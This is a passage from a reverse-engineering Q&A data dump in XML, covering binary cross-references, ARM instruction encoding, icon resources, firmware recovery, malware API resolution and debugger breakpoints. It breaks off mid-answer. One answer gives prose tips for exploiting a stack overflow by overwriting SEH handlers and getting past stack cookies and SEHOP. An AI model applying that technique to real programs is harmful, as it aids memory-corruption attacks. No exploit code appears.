  <row Id="16134" PostTypeId="1" AcceptedAnswerId="16136" CreationDate="2017-08-18T19:50:36.593" Score="1" ViewCount="379" Body="&lt;p&gt;Let's bring example&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have string&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0000000000bd2906 db &quot;CurrentKey&quot;, 0 ; DATA XREF=sub_555670+3390&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And it's used here&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000005563ae lea rsi, qword [0xbd2906] ; &quot;CurrentKey&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Disassembler already knows where is variable reference. Knows that &quot;CurrentKey&quot; string is stored at 0xbd2906 and used at 0x5563ae.&#xA;Question is, how can i manually locate where variable is used without using disassembler (to do this automatically from code) ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone explain it or provide cpp example ?&lt;/p&gt;&#xA;" OwnerDisplayName="user21284" LastEditorDisplayName="user21284" LastEditDate="2017-08-18T21:00:52.703" LastActivityDate="2017-08-20T19:31:00.377" Title="Finding variable reference in cpp" Tags="|disassembly|assembly|binary-analysis|c++|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="16135" PostTypeId="2" ParentId="16087" CreationDate="2017-08-18T21:09:19.140" Score="1" Body="&lt;p&gt;If the file is being detected, then it seems likely that the first header is a decoy, sufficient to allow the file to load, and that the code that runs is a dropper for the content that begins with the second header.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2017-08-18T21:09:19.140" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16136" PostTypeId="2" ParentId="16134" CreationDate="2017-08-18T22:24:02.067" Score="2" Body="&lt;p&gt;It depends on what exactly the context is. What type of binary is it? Are you talking about on-disk or in-memory? What os are you on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would highly recommend you use a disassembly engine library which makes most of these questions moot. &lt;a href=&quot;http://www.capstone-engine.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Capstone&lt;/a&gt; is nice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you really want to do it by yourself, you can. For instance, if your target is a PE file, you'll need to map it into memory. This means understanding the PE format or using a library such as &lt;a href=&quot;http://www.pelib.com/index.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;PeLib&lt;/a&gt;. Once you've done that, you'll want to search for the string in question. This would generally be in the &quot;.rdata&quot; section (marked for RO) if it's a constant string, or in the &quot;.data&quot; section (marked for RW) if it's a mutable string. Once you've found it, you'll need to scan through the &quot;.text&quot; section (marked for RWE) for the address that corresponds to the string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a few caveats here. First, these section names and protections may be different if the binary is packed, written in managed code, or compiled by a non-standard compiler. These same things can lead to greatly complicating the task.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, you will have to deal with ASLR. The binary will either have ASLR enabled, meaning there is a relocations table which needs to be parsed and applied to the binary to get the final addresses; or it won't have ASLR, meaning all of the addresses will assume &lt;code&gt;0x00040000&lt;/code&gt; as a base and you will need to take this into account when calculating the address of the string once you've found it (oh, you mapped the binary at &lt;code&gt;0x0006500&lt;/code&gt; and the string was found at &lt;code&gt;0x00006516&lt;/code&gt;? You must scan for address &lt;code&gt;(0x00006516 - 0x0006500) + 0x00040000&lt;/code&gt;). This is similar to what you need to do when applying relocations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing to keep in mind is that relocations can be useful. Generally, when they exist, they will tell of every single offset that uses an address in the binary relative to the base address. So you might also just scan each offset that is relocated, checking for one whose proper address resolves to one containing your target string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wish I could be more helpful, but this is what I can offer with the information you've provided. Hopefully it puts you in the right direction.&lt;/p&gt;&#xA;" OwnerUserId="14432" LastEditorUserId="14432" LastEditDate="2017-08-19T00:29:22.367" LastActivityDate="2017-08-19T00:29:22.367" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16139" PostTypeId="2" ParentId="15581" CreationDate="2017-08-19T11:55:56.247" Score="1" Body="&lt;p&gt;There are two things you must check:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You overwritten exception handler but, is there any exception occurs?&lt;/li&gt;&#xA;&lt;li&gt;Are there any protection mechanism active for exception handlers?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For first one, most easy exception which you can trigger and not caught until your handler is obviously &lt;strong&gt;access violation&lt;/strong&gt;. You can try to trigger an exception with overwrite a value which referenced before stack cookie checked. Try to overwrite as long as possible for increasing your chance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There may be another methods like overwriting some variables and structures but not overwriting stack cookie depending your example. Most of the times compiler arranges overflowing buffers close to stack cookie.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For second one, there may be SafeSEH on and off modules loaded in program memory. But, it is not matter for this stage. Despite SafeSEH, SEHOP (Structured Exception Handling Overwrite Protection) may be blocking program to access exception handler. &lt;strong&gt;If you done all tests on Windows XP&lt;/strong&gt; most probably your problem is not SEHOP. I couldn't find proper resources if Microsoft published any update including SEHOP for Windows XP, last time I checked there is no SEHOP support for Windows XP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/caCjj.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/caCjj.jpg&quot; alt=&quot;Picture from SYSDREAM article&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SEHOP specifications need two things to be assured according to &lt;a href=&quot;https://www.scribd.com/document/50749469/sehop-en&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; article:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Each SEH structure points to the next structure.&lt;/li&gt;&#xA;&lt;li&gt;Last one contains a specific handler pointing to ntdll!_except_handler4&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="18804" LastEditorUserId="18804" LastEditDate="2017-08-19T12:17:29.670" LastActivityDate="2017-08-19T12:17:29.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16142" PostTypeId="2" ParentId="16133" CreationDate="2017-08-19T13:08:33.893" Score="0" Body="&lt;p&gt;Found the reason and I feel quite retarded now since it was so obvious. It was NativeImage being loaded and removing all generated images actually made my changes load. Thanks @PawełŁukasik for pointing me in right direction.&lt;/p&gt;&#xA;" OwnerUserId="21282" LastActivityDate="2017-08-19T13:08:33.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16143" PostTypeId="2" ParentId="11694" CreationDate="2017-08-19T15:05:15.860" Score="1" Body="&lt;p&gt;Surfing the net about WIFF file formats, I found two software that convert WIFF file to others formats:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://proteowizard.sourceforge.net/formats.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;Proteowizerd&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://sourceforge.net/projects/protms/files/wiff2dta/&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiff2dta&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can check if there are bytes used to check the data in addition to the chunk that you have already tried to patch (d5a0 -&gt; d640).&lt;/p&gt;&#xA;" OwnerUserId="21250" LastActivityDate="2017-08-19T15:05:15.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16150" PostTypeId="1" AcceptedAnswerId="16153" CreationDate="2017-08-21T06:43:47.990" Score="4" ViewCount="2394" Body="&lt;p&gt;I've been hacking and modding software for years, and have learned a lot, but there are still a few things that vex me - this is one such case.&lt;/p&gt;&#xA;&lt;p&gt;I have noticed that some PEs contain an &lt;code&gt;RCData&lt;/code&gt; section that can house a large variety of different kinds of data and information. In my experience the data is usually binary files or dialog classes. In this case, I am trying to figure out how an image is being stored in what I can only describe as &lt;s&gt;binary&lt;/s&gt; raw format for a dialog (thanks to @Megabeets for refreshing my memory). In my more inexperienced days, I thought the image data in these files was stored directly as plain text or hexadecimal values. When I compared the data in the resource data to the image in question (stored in a different tree as a different format), they did not match. In some cases, this data is its own image with no comparable alternative. Below is an screenshot of the data in question:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/x5CYb.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/x5CYb.jpg&quot; alt=&quot;Binary data is hilighted in blue&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I know this data is for an icon, as removing it also removes the image in the application. For some programs, this data can be a dialog GUI asset, or bitmap. How do I &amp;quot;convert&amp;quot; this data into an image or vise versa for modification or replacement?&lt;/p&gt;&#xA;&lt;p&gt;As a potential alternative solution, could I modify the script to directly reference the main application icon instead?&lt;/p&gt;&#xA;&lt;p&gt;Side-note: The image is an icon group containing four icons, and acts as the title bar icon.&lt;/p&gt;&#xA;" OwnerUserId="21084" LastEditorUserId="17952" LastEditDate="2022-10-06T23:27:17.293" LastActivityDate="2022-10-06T23:27:17.293" Title="How can I modify binary image resource data?" Tags="|windows|executable|binary-editing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="16152" PostTypeId="1" CreationDate="2017-08-21T07:20:08.757" Score="4" ViewCount="341" Body="&lt;p&gt;I bought a broken Zoom H4n audio recorder, expecting an easy repair. What I got is a little bit over my head. It isn't booting (beyond a certain point) and I can't enter the firmware update tool. I think the firmware update has been interrupted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/aBTnL.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/aBTnL.jpg&quot; alt=&quot;Card setting right now&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I have hooked up its flash chip (EN29LV160B) to an Arduino and now I can read the contents. I was hoping to actually see some familiar features in the &lt;a href=&quot;https://zoom-na.com/sites/default/files/products/downloads/software/H4n_v1.90E.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;firmware file&lt;/a&gt; and in memory, so that I could align them and just write missing bytes manually. But of course it isn't that easy. In fact I don't even know if I have set up and am reading all the lsb ... msb in the right order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the firmware.bin file using a hex editor I am occasionally finding things like: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...M.I.X.E.R. .E.N.A.B.L.E.....O.F.F. . . . . ...O.N. . . . . . ...O.F.F. .&#xA;. . . ...+.4.8.V. . . . ...+.2.4.V. . . . ...O.F.F. . . . . ...C.O.M.P.1. .&#xA;. ...C.O.M.P.2. . . ...C.O.M.P.3. . . ...L.I.M.I.T.1. . ...L.I.M.I.T.2. . .&#xA;...L.I.M.I.T.3. . ...O.F.F. . . . . . . . . . . . . ...C.O.M.P.1.&#xA;(.G.E.N.E.R.A.L.). . ...C.O.M.P.2.(.V.O.C.A.L.)` &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But, not in my chip data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my Arduino program I have tried many possible bit inversions and rearrangements, and this yielded the best result (as in few unknown, tab and newline symbols)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void loop() {&#xA;  char reading = 0;&#xA;&#xA;  if (address == 2097152)&#xA;    while(1)&#xA;      delay(1);&#xA;&#xA;   if (address%16==0){&#xA;    Serial.println();&#xA;    Serial.print(address);&#xA;    Serial.print(&quot; &quot;);&#xA;   }&#xA;&#xA;  for (uint8_t i = 0; i &amp;lt; 21; i++)&#xA;    digitalWrite(adress[i], bitRead(address, i));&#xA;&#xA;  for (uint8_t i = 0; i &amp;lt; 8; i++)&#xA;    bitWrite(reading,i,!digitalRead(inputs[7-i]));&#xA;&#xA;  Serial.print(reading);&#xA;  Serial.print(&quot; &quot;);&#xA;&#xA;  address++;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But the output still has no human-recognizable contents. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anything else I could try?&lt;/p&gt;&#xA;" OwnerUserId="13764" LastEditorUserId="53" LastEditDate="2017-08-21T08:10:57.683" LastActivityDate="2017-08-21T08:10:57.683" Title="How to perform manual flashing of a bricked device?" Tags="|firmware|hardware|flash|arduino|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16153" PostTypeId="2" ParentId="16150" CreationDate="2017-08-21T08:06:31.637" Score="6" Body="&lt;p&gt;Firstly, we need to understand what is RCDATA resource. This is how it described in &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/aa381039(v=vs.85).aspx&quot; rel=&quot;noreferrer&quot;&gt;MSDN&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;RCDATA defines a raw data resource for an application. Raw data resources&#xA;  permit the inclusion of binary data directly in the executable file.  &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;nameID RCDATA  [optional-statements] {raw-data  ...}&lt;/code&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;&lt;em&gt;raw-data&lt;/em&gt;&lt;/strong&gt;&lt;br&gt;&#xA;   Raw data consisting of one or more integers or strings of&#xA;  characters. Integers can be specified in decimal, octal, or&#xA;  hexadecimal format. To be compatible with 16-bit Windows, integers are&#xA;  stored as WORD values. You can store an integer as a DWORD value by&#xA;  qualifying the integer with the &quot;L&quot; suffix.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In your example we see the configuration of &lt;code&gt;TfrmMain&lt;/code&gt; which is the main form that is derived from &lt;code&gt;TForm&lt;/code&gt; and is used as user interface for the program.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With that in mind, we can understand that &lt;code&gt;Icon.Data&lt;/code&gt; stores an icon for the application in what seems like an &lt;strong&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Hexadecimal&quot; rel=&quot;noreferrer&quot;&gt;hexadecimal&lt;/a&gt;&lt;/strong&gt; representation of it.&lt;br&gt;&#xA;And indeed, if we will take a look at the &lt;a href=&quot;https://www.iana.org/assignments/media-types/image/vnd.microsoft.icon&quot; rel=&quot;noreferrer&quot;&gt;ICO registration information for at IANA&lt;/a&gt; we can see that the &lt;code&gt;Magic Number&lt;/code&gt; (the first four octets in the file in hexadecimal) of ICO files is same as in your example:  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Additional information :&lt;br&gt;&#xA;  1. Magic number(s) : &lt;strong&gt;00 00 01 00&lt;/strong&gt;&lt;br&gt;&#xA;  2. File extension(s) : ico&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;When you compare the &lt;code&gt;Icon.Data&lt;/code&gt; with another image, which you said has different file format, you won't see a match because each image format has different structure and specification and therefore, even though the files might look the same, the binary data is different.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can convert hex string into an image and an image to hex string easily using python:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import binascii&#xA;&#xA;# open ico file and read its binary content&#xA;with open('example.ico', 'rb') as f:&#xA;    content = f.read()&#xA;&#xA;# convert the binary content to hexadecimal string&#xA;hexstr = binascii.hexlify(content)&#xA;&#xA;# write this hexadecimal string to output.ico as binary&#xA;with open('output.ico','wb') as f:&#xA;    f.write(binascii.unhexlify(hexstr))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can copy and paste the &lt;code&gt;Icon.Data&lt;/code&gt; to a plain text and then read it with python using:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;with open('hexadecimal.txt', 'r') as f:&#xA;    content = f.read()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then write the content to a file in binary format using the example above.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With &lt;code&gt;Resource Hacker&lt;/code&gt; you then can remove, add, edit and compile resources in your binary.  &lt;/p&gt;&#xA;" OwnerUserId="18698" LastEditorUserId="18698" LastEditDate="2017-08-21T08:20:24.680" LastActivityDate="2017-08-21T08:20:24.680" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="16154" PostTypeId="1" AcceptedAnswerId="16157" CreationDate="2017-08-21T09:46:37.757" Score="4" ViewCount="1919" Body="&lt;p&gt;I'm trying to understand how ARM &lt;code&gt;add&lt;/code&gt; with shift is implemented e.g. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sym.imp.__libc_start_main :                                                                                                                                                           &#xA;&#xA;.plt:0x000082bc 00c68fe2 add ip, pc, 0, 12; after execution ip=0x82c4&#xA;.plt:0x000082c0 08ca8ce2 add ip, ip, 8, 20; after execution ip=0x102c4&#xA;.plt:0x000082c4 48fdbce5 ldr pc, [ip, 0xd48]!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I wonder about the line&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.plt:0x000082c0 08ca8ce2 add ip, ip, 8, 20;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it will add &lt;code&gt;#0x8000&lt;/code&gt; to the ip register. My question is why &lt;code&gt;#0x8000&lt;/code&gt; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd assume it will be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ip = ip + (8&amp;lt;&amp;lt;20)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so &lt;code&gt;0x800000&lt;/code&gt; but it's more like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ip = ip + (8&amp;lt;&amp;lt;(20-8))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why is that? do I always have to substract 8 from the shift ?&lt;/p&gt;&#xA;" OwnerUserId="2936" LastActivityDate="2020-12-23T03:52:01.890" Title="ARM &quot;add&quot; instruction with shift" Tags="|disassembly|assembly|arm|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16157" PostTypeId="2" ParentId="16154" CreationDate="2017-08-21T16:12:10.450" Score="4" Body="&lt;p&gt;It's a &lt;a href=&quot;https://en.wikipedia.org/wiki/Circular_shift&quot; rel=&quot;noreferrer&quot;&gt;Circular Shift&lt;/a&gt; on a 32-bit system.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Circular Shift&lt;/h2&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In computer programming, a circular shift (or bitwise rotation) is a&#xA;  shift operator that shifts all bits of its operand. Unlike an&#xA;  arithmetic shift, a circular shift does not preserve a number's sign&#xA;  bit or distinguish a number's exponent from its significand (sometimes&#xA;  referred to as the mantissa). Unlike a logical shift, the vacant bit&#xA;  positions are not filled in with zeros but are filled in with the bits&#xA;  that are shifted out of the sequence.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h2&gt;Understanding the code&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;First Line:&lt;/strong&gt;&lt;br&gt;&#xA;This is simply translated into &lt;code&gt;add ip, pc&lt;/code&gt; because rotate operations on &lt;code&gt;#0&lt;/code&gt; is still 0.&lt;br&gt;&#xA;So it's actually &lt;code&gt;IP = PC  + (0 &amp;lt;&amp;lt; 12) = PC + 0&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Second Line:&lt;/strong&gt;&lt;br&gt;&#xA;Let's take apart the opcodes and understand the problematic line:&lt;br&gt;&#xA;The opcodes should be read like this because of &lt;a href=&quot;https://en.wikipedia.org/wiki/Endianness&quot; rel=&quot;noreferrer&quot;&gt;endianness&lt;/a&gt;: &lt;code&gt;e28cca08&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;e&lt;/code&gt; - always execute this instruction&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;28&lt;/code&gt; - add immediate&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;c&lt;/code&gt; - Rd is the ip&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;c&lt;/code&gt; - Rn is the ip&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;a 08&lt;/code&gt; - 8 right rotated by 20&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The things is, that it's not &lt;code&gt;8&amp;lt;&amp;lt;20&lt;/code&gt; but instead it is &lt;code&gt;8&amp;lt;&amp;lt;(32-12)&lt;/code&gt; because we are on a 32-bit system and it is a Circular Shift.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a C code that showing the Circular Shift based on the example from &lt;a href=&quot;https://en.wikipedia.org/wiki/Circular_shift#Implementing_circular_shifts&quot; rel=&quot;noreferrer&quot;&gt;Wikipedia&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdint.h&amp;gt;  // for uint32_t, to get 32bit-wide rotates, regardless of the size of int.&#xA;#include &amp;lt;limits.h&amp;gt;  // for CHAR_BIT&#xA;&#xA;uint32_t rotl32 (uint32_t value, unsigned int count) {&#xA;    const unsigned int mask = (CHAR_BIT*sizeof(value)-1);&#xA;    count &amp;amp;= mask;&#xA;    return (value&amp;lt;&amp;lt;count) | (value&amp;gt;&amp;gt;( (-count) &amp;amp; mask ));&#xA;}&#xA;&#xA;uint32_t rotr32 (uint32_t value, unsigned int count) {&#xA;    const unsigned int mask = (CHAR_BIT*sizeof(value)-1);&#xA;    count &amp;amp;= mask;&#xA;    return (value&amp;gt;&amp;gt;count) | (value&amp;lt;&amp;lt;( (-count) &amp;amp; mask ));&#xA;}&#xA;&#xA;int main()&#xA;{&#xA;    printf(&quot;Result: 0x%x\n&quot;,rotr32(8,20));&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code will output:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Result: 0x8000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2017-08-21T16:12:10.450" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16158" PostTypeId="1" CreationDate="2017-08-22T07:03:05.230" Score="1" ViewCount="1028" Body="&lt;p&gt;I have memory dump of injected process. But the malware load libraries/functions dynamically and I need to resolve this. For example, If malware will use createThread, first get address of this function with getprocaddress then kept the pointer into a variable. To call function use variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I need to resolve dynamic addresses to disassemble. How can I do it?&lt;/p&gt;&#xA;" OwnerUserId="21292" LastActivityDate="2017-11-20T13:42:09.230" Title="How can I resolve dynamic addresses (for APIs,DLLs etc.) to disassemble in IDA Pro?" Tags="|ida|dynamic-linking|memory-dump|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16159" PostTypeId="1" CreationDate="2017-08-22T07:58:39.440" Score="4" ViewCount="7360" Body="&lt;p&gt;In this line of code:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov        eax,dword ptr [eax+8];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;eax+8&lt;/code&gt; contains a long string of text, I want to find out where it originally came from. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In either OllyDbg or x32dbg, how can I break when &lt;code&gt;eax&lt;/code&gt; contains a certain word e.g. &quot;haxxor&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="20507" LastEditorUserId="18698" LastEditDate="2017-08-22T10:30:27.927" LastActivityDate="2017-08-22T10:30:27.927" Title="How to break when specific text is found" Tags="|ollydbg|debugging|breakpoint|x64dbg|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16160" PostTypeId="2" ParentId="16159" CreationDate="2017-08-22T09:31:36.237" Score="7" Body="&lt;p&gt;You are searching for &lt;a href=&quot;https://en.wikipedia.org/wiki/Breakpoint#Breakpoint_conditions&quot; rel=&quot;noreferrer&quot;&gt;Conditional Breakpoints&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;OllyDBG&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;It's possible to set a conditional breakpoint in both OllyDbg 1.01 and 2.00&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Conditional Breakpoint&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Displays dialog window asking user to set or modify parameters of&#xA;  simple conditional INT3 breakpoints at one or more addresses&#xA;  addr[naddr] in the memory of the debugged process. [Source: &lt;a href=&quot;http://www.ollydbg.de/Help/Condbreakpoint.htm&quot; rel=&quot;noreferrer&quot;&gt;Official Documentation]&#xA;  &lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you want to set a conditional breakpoint when EAX points to &quot;haxxor&quot;, press &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;F2&lt;/kbd&gt; and then enter: &lt;code&gt;UNICODE[EAX] == &quot;haxxor&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Conditional Log Breakpoint&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Displays dialog window asking user to set or modify parameters of&#xA;  conditional logging INT3 breakpoints at one or more addresses&#xA;  addr[naddr] in the memory of the debugged process. Logging breakpoint&#xA;  may conditionally pause execution, protocol expressions, function&#xA;  arguments or returned value etc. [Source: &lt;a href=&quot;http://www.ollydbg.de/Help/Condlogbreakpoint.htm&quot; rel=&quot;noreferrer&quot;&gt;Official Documentation]&#xA;  &lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This option has more functionality and allows you to see outputs on the &lt;code&gt;log&lt;/code&gt; window (&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;L&lt;/kbd&gt;)&lt;br&gt;&#xA;Press &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;F4&lt;/kbd&gt; and then enter: &lt;code&gt;UNICODE[EAX] == &quot;haxxor&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/LKG6I.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LKG6I.png&quot; alt=&quot;Condional Log Breakpoint window&quot;&gt;&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Modify the dialog settings to fit best to your needs.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;x64dbg&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Currently, as far as I know, there's no support for conditional breakpoints on strings. The feature is planned though and I hope we'll get to see it soon. Meantime, check &lt;a href=&quot;https://github.com/pastaCLS/cndsteroids&quot; rel=&quot;noreferrer&quot;&gt;cndSteroids&lt;/a&gt; plugin which you may find helpful.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;More information about Conditional Breakpoints on x64dbg you can find in the &lt;a href=&quot;https://x64dbg.readthedocs.io/en/latest/introduction/ConditionalBreakpoint.html&quot; rel=&quot;noreferrer&quot;&gt;official documentation&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2017-08-22T09:31:36.237" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16161" PostTypeId="2" ParentId="16159" CreationDate="2017-08-22T09:33:41.110" Score="2" Body="&lt;p&gt;&lt;strong&gt;NOTE!&lt;/strong&gt; &#xA;I realized afterward that it was about Ollydbg... Anyway, I stick to my answer... GDB is great!&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;GDB is a wonderful debugger! In fact, and only a few people knows about it, it gives access to all the usual libc functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, in your case, you may find interesting to set up a conditional on a breakpoint like that (by using &lt;code&gt;strcmp()&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;break *0xdeadbeef if strcmp(*($eax+8), &quot;haxxor&quot;) == 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This line will stop if you are executing the instruction located at &lt;code&gt;0xdeadbeef&lt;/code&gt; and that the value of the string located at &lt;code&gt;$eax+8&lt;/code&gt; is 